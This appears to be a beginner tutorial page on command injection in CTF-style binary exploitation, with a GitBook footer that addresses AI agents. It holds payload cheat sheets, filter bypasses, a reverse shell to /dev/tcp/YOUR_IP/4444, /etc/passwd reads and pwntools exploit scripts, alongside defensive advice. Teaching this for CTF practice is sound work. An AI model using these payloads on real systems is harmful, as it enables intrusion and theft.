> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/02.-command-injection-in-binary-exploitation.md).

# Command Injection in Binary Exploitation

> You don't always need to overflow a buffer. Sometimes the program just... runs whatever you tell it to. This guide explains command injection from absolute zero.

## 🤔 What Is Command Injection?

Imagine a program that takes your input and runs it as a shell command. If the developer didn't carefully control what you're allowed to input, you can **inject your own commands** into that shell call.

**Real-world analogy:**

> A restaurant takes your order over the phone. You say *"I'd like a pizza AND also unlock the back door."* If the person on the phone just does exactly what you said without thinking — you just injected an extra command.

In code terms, the program does something like:

```c
system("ping " + user_input);
```

You're *supposed* to type an IP like `8.8.8.8`.\
But what if you type `8.8.8.8; cat /etc/passwd`?

The shell sees:

```bash
ping 8.8.8.8; cat /etc/passwd
```

And it runs **both** commands. You just injected `cat /etc/passwd`. 💀

## 🐚 Quick Background: How Does the Shell Work?

Before diving in, you need to know a few things about how Unix/Linux shells interpret commands.

### Special Characters the Shell Cares About

| Character | What It Does                                 | Example          |
| --------- | -------------------------------------------- | ---------------- |
| `;`       | Run the next command regardless of the first | `cmd1; cmd2`     |
| `&&`      | Run next command only if first succeeded     | `cmd1 && cmd2`   |
| `\|\|`    | Run next command only if first failed        | `cmd1 \|\| cmd2` |
| `\|`      | Pipe output of first into second             | `cmd1 \| cmd2`   |
| `` ` ` `` | Run command inside backticks, use output     | `` echo `id` ``  |
| `$()`     | Same as backticks, modern style              | `echo $(id)`     |
| `&`       | Run command in background                    | `cmd &`          |
| `>`       | Redirect output to file                      | `cmd > file`     |
| `<`       | Read input from file                         | `cmd < file`     |

These are the tools of command injection. If any of these reach the shell unfiltered, you can inject.

## 🔬 How Does This Happen in C Programs?

There are a few dangerous C functions that call the shell:

### `system()`

```c
#include <stdlib.h>

int main() {
    char command[256];
    printf("Enter hostname to ping: ");
    scanf("%s", command);
    
    char cmd[512];
    sprintf(cmd, "ping -c 1 %s", command);
    system(cmd);    // ← DANGEROUS
    
    return 0;
}
```

`system()` literally opens `/bin/sh -c "your command here"`. If user input gets in there unsanitized, it's game over.

### `popen()`

```c
FILE *fp = popen(user_controlled_string, "r");
```

Same problem — runs through the shell.

### `execve()` — The Safer Alternative

```c
execve("/bin/ping", args, env);
```

`execve()` does **not** invoke a shell. It directly executes the program with the arguments as a list. No shell = no shell injection. This is the right way to do it.

## 🧪 Your First Command Injection — Step by Step

Let's walk through an actual vulnerable program.

### The Vulnerable Code

```c
// vuln.c
#include <stdio.h>
#include <stdlib.h>

int main() {
    char ip[100];
    printf("Enter IP to ping: ");
    fgets(ip, sizeof(ip), stdin);
    
    char cmd[200];
    snprintf(cmd, sizeof(cmd), "ping -c 1 %s", ip);
    
    printf("Running: %s\n", cmd);
    system(cmd);   // ← the vulnerable line
    
    return 0;
}
```

### Compiling and Running Normally

```bash
gcc -o vuln vuln.c
./vuln
```

```
Enter IP to ping: 8.8.8.8
Running: ping -c 1 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
...
```

Works as intended. But watch what happens next.

### Injecting a Command

```
Enter IP to ping: 8.8.8.8; id
Running: ping -c 1 8.8.8.8; id
PING 8.8.8.8 ...
...
uid=1000(user) gid=1000(user) groups=1000(user)
```

See that `uid=1000(user)` at the end? That's the output of the `id` command — **which we injected**. The program ran both `ping` AND `id`.

### Getting a Shell

```
Enter IP to ping: ; /bin/sh
```

The shell now executes:

```bash
ping -c 1 ; /bin/sh
```

The `ping` fails (no argument), but then `/bin/sh` launches — giving us an **interactive shell** inside the program's context!

```
sh-5.1$ whoami
user
sh-5.1$ ls
flag.txt  vuln  vuln.c
sh-5.1$ cat flag.txt
flag{command_injection_is_fun}
```

## 🎯 Common Injection Payloads

Here's a cheat sheet of payloads to try when you find a potential injection point:

### Basic "Does this work?" payloads

```bash
; id
| id
&& id
|| id
`id`
$(id)
```

Pick whichever gets through. Try them all — some may be filtered.

### Get a Shell

```bash
; /bin/sh
; /bin/bash
; sh
```

### Read a File

```bash
; cat /etc/passwd
; cat flag.txt
; cat /home/user/secret
```

### Blind Injection (no output visible)

Sometimes you can't see the output. Use out-of-band techniques:

```bash
# Write output to a file you can read
; id > /tmp/out.txt

# Ping your own server to confirm execution
; ping -c 1 YOUR_IP_HERE

# Get a reverse shell (connect back to your machine)
; bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
```

### Newline Injection

Sometimes semicolons are filtered but newlines aren't:

```bash
# URL encoded: %0a
ping 8.8.8.8%0aid
```

The shell treats newlines the same as semicolons — a new command starts.

## 🔍 Finding Command Injection — What to Look For

### In Source Code (White-box)

Search for these dangerous function calls:

```bash
grep -n "system(" *.c
grep -n "popen(" *.c
grep -n "exec(" *.c
grep -n "shell_exec" *.php    # PHP too
grep -n "os.system" *.py      # Python too
```

Then check: **does user input reach that function without sanitization?**

### In Binaries (Black-box, No Source)

```bash
# Look for strings that suggest shell usage
strings ./binary | grep -E "system|popen|/bin/sh|bash"

# Disassemble and look for calls to system()
objdump -d ./binary | grep -A5 "call.*system"

# Open in Ghidra or IDA for full decompilation
```

### Dynamic Testing

Just try injecting and see what happens:

```
; sleep 5
```

If the program pauses for 5 seconds — **you have command injection**. This is the simplest blind test because it doesn't require seeing any output.

***

## 🐍 Automating with pwntools

Once you've confirmed injection works, automate it with pwntools:

```python
from pwn import *

# Connect to local binary or remote service
p = process("./vuln")
# p = remote("ctf.example.com", 1337)  # for remote challenges

# Receive the prompt
p.recvuntil(b"ping: ")

# Send our injection payload
payload = b"; /bin/sh"
p.sendline(payload)

# Drop into interactive mode to use the shell
p.interactive()
```

Run it:

```bash
python3 exploit.py
```

```
[+] Starting local process './vuln': pid 12345
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user)
$ cat flag.txt
flag{automated_pwn}
```

## 🧱 Filters and How to Bypass Them

Developers sometimes try to block injection with filters. Here's how common filters fail:

### Filter: Block spaces

```bash
# Use $IFS (Internal Field Separator) instead
;cat${IFS}/etc/passwd

# Or use tab (often not filtered)
;cat	/etc/passwd

# Or brace expansion
;{cat,/etc/passwd}
```

### Filter: Block semicolons

```bash
# Try other separators
| id
|| id
&& id
`id`
$(id)
%0a id   # newline
```

### Filter: Block specific keywords (like "cat")

```bash
# Split the word with quotes
ca''t /etc/passwd
c'a't /etc/passwd

# Use environment variables
/???/c?t /etc/passwd       # glob matching

# Use other commands
more /etc/passwd
less /etc/passwd
head /etc/passwd
tac /etc/passwd
```

### Filter: Blocklist check for dangerous chars

```c
// Developer tried this:
if (strstr(input, ";") || strstr(input, "|")) {
    puts("Blocked!");
    exit(1);
}
```

Try: `$(id)` — no semicolons or pipes, but still executes!

## 📍 How to Find the Offset for a Controlled `system()` Call

Sometimes the vulnerability isn't direct injection — it's a **buffer overflow** that lets you redirect execution to call `system("/bin/sh")`.

This is common in CTF challenges. Here's the pattern:

### Scenario

```c
void win() {
    system("/bin/sh");   // this function exists but is never called!
}

void vuln() {
    char buf[32];
    gets(buf);           // overflow here
}
```

Your goal: overflow `buf` to overwrite the return address with the address of `win()`.

### Step 1: Find the offset

```bash
# In gdb with pwndbg
gdb ./challenge
(gdb) cyclic 100
aaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaal...

(gdb) run
# paste the cyclic pattern
# program crashes

(gdb) info registers
# look at rip or the value on the stack

(gdb) cyclic -l 0x6161616161616166   # the value that landed in rip
Offset: 40
```

Offset is 40 — you need 40 bytes of padding.

### Step 2: Find the address of `win()`

```bash
(gdb) info functions win
0x0000000000401196  win
```

Or with pwntools:

```python
elf = ELF("./challenge")
win_addr = elf.symbols["win"]
```

### Step 3: Build the payload

```python
from pwn import *

elf = ELF("./challenge")
p = process("./challenge")

offset = 40
win = elf.symbols["win"]

payload = b"A" * offset + p64(win)
p.sendline(payload)
p.interactive()
```

Boom — `system("/bin/sh")` gets called, you have a shell.

***

## 🔐 Why Does This Work? (The Stack Picture)

Before overflow:

```
[ buf: 32 bytes    ]
[ saved rbp 8 bytes]
[ return addr      ] ← points back to vuln()'s caller
```

After overflow with 40 bytes of padding + address of win():

```
[ AAAAAAAAAAAAAAAA ]  (fills buf + saved rbp)
[ AAAAAAAAAAAAAAAA ]
[ address of win() ]  ← overwrites return address!
```

When `vuln()` returns, it pops our fake return address into `rip`, and execution jumps to `win()` which calls `system("/bin/sh")`.

***

## 🚩 CTF-Style Challenge Walkthrough

Here's what a typical "ret2win" command injection CTF challenge looks like from start to finish:

```bash
# Step 1: Look at the binary
file challenge
# challenge: ELF 64-bit LSB executable, x86-64

checksec --file=challenge
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    No canary found     ← no canary, good
# NX:       NX enabled          ← stack not executable
# PIE:      No PIE              ← addresses are fixed, good

# Step 2: Look for interesting functions
strings challenge | grep -i "sh\|flag\|win\|system"
nm challenge | grep -i "win\|system"

# Step 3: Open in gdb and find the overflow offset
gdb -q ./challenge
(gdb) pattern create 100
(gdb) run
# paste pattern, let it crash
(gdb) pattern search
# find offset

# Step 4: Write exploit
python3 exploit.py
```

## 🛡️ How Command Injection Is Prevented (The Correct Way)

Understanding defense makes you a better attacker — and teaches you what to look for when defenses are weak.

### Use `execve()` Instead of `system()`

```c
// SAFE: no shell, arguments are a list, can't be injected
char *args[] = {"/bin/ping", "-c", "1", user_ip, NULL};
execve("/bin/ping", args, envp);
```

### Whitelist Valid Input

```c
// Only allow digits and dots (valid IP characters)
for (int i = 0; user_ip[i]; i++) {
    if (!isdigit(user_ip[i]) && user_ip[i] != '.') {
        puts("Invalid IP!");
        exit(1);
    }
}
```

### Sanitize/Escape Special Characters

```python
# Python — use subprocess with a list, not a string
import subprocess
subprocess.run(["/bin/ping", "-c", "1", user_ip])  # SAFE
subprocess.run(f"ping -c 1 {user_ip}", shell=True)  # DANGEROUS
```

***

## 🗺️ Command Injection Taxonomy — Where It Shows Up

```
Command Injection
├── Direct Injection
│   ├── system() / popen() takes raw user input
│   └── Shell scripts with $USER_INPUT
│
├── Indirect / Overflow-Based (ret2system)
│   ├── Overflow return address → jump to system()
│   └── Overflow return address → jump to win() which calls system()
│
└── Blind Injection
    ├── No output visible — use time delays (sleep)
    ├── Out-of-band (DNS, HTTP to your server)
    └── Write results to a readable file
```

***

## 📝 Quick Reference Cheat Sheet

```bash
# ── DETECT ──────────────────────────────────
; sleep 5                      # blind test — does it pause?
; id                           # do you see uid output?

# ── BASIC PAYLOADS ──────────────────────────
; id                           # who am I?
; whoami                       # same
; cat /etc/passwd              # read system users
; cat flag.txt                 # read the flag!
; ls -la                       # list directory
; env                          # dump environment variables

# ── GET A SHELL ─────────────────────────────
; /bin/sh                      # simple sh
; /bin/bash                    # bash
; bash -i                      # interactive bash

# ── FILTER BYPASS ───────────────────────────
$(id)                          # no semicolons
`id`                           # backtick style
%0aid                          # newline instead of ;
ca''t flag.txt                 # bypass keyword filter
{cat,flag.txt}                 # no spaces

# ── PWNTOOLS SKELETON ────────────────────────
from pwn import *
p = process("./vuln")
p.sendlineafter(b"prompt: ", b"; /bin/sh")
p.interactive()
```

## 📚 Practice Resources

| Resource                                       | What You'll Get                            |
| ---------------------------------------------- | ------------------------------------------ |
| [pwn.college](https://pwn.college)             | Free structured binary exploitation course |
| [picoCTF](https://picoctf.org)                 | Beginner-friendly CTF with pwn challenges  |
| [exploit.education](https://exploit.education) | VMs designed for practice                  |
| [CTFlearn](https://ctflearn.com)               | Community challenges sorted by difficulty  |
| [HackTheBox](https://hackthebox.com)           | More advanced, real-world style challenges |

> 💡 **The Takeaway:** Command injection happens when a program trusts user input enough to pass it directly to a shell. Your job as a security researcher is to find that trust — and abuse it. Start small: `; id`. Then escalate: `; cat flag.txt`. Then go further: get a shell and explore.

> 🔁 **The loop:** Find input → inject `; sleep 5` → confirm timing → escalate payload → profit.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/02.-command-injection-in-binary-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
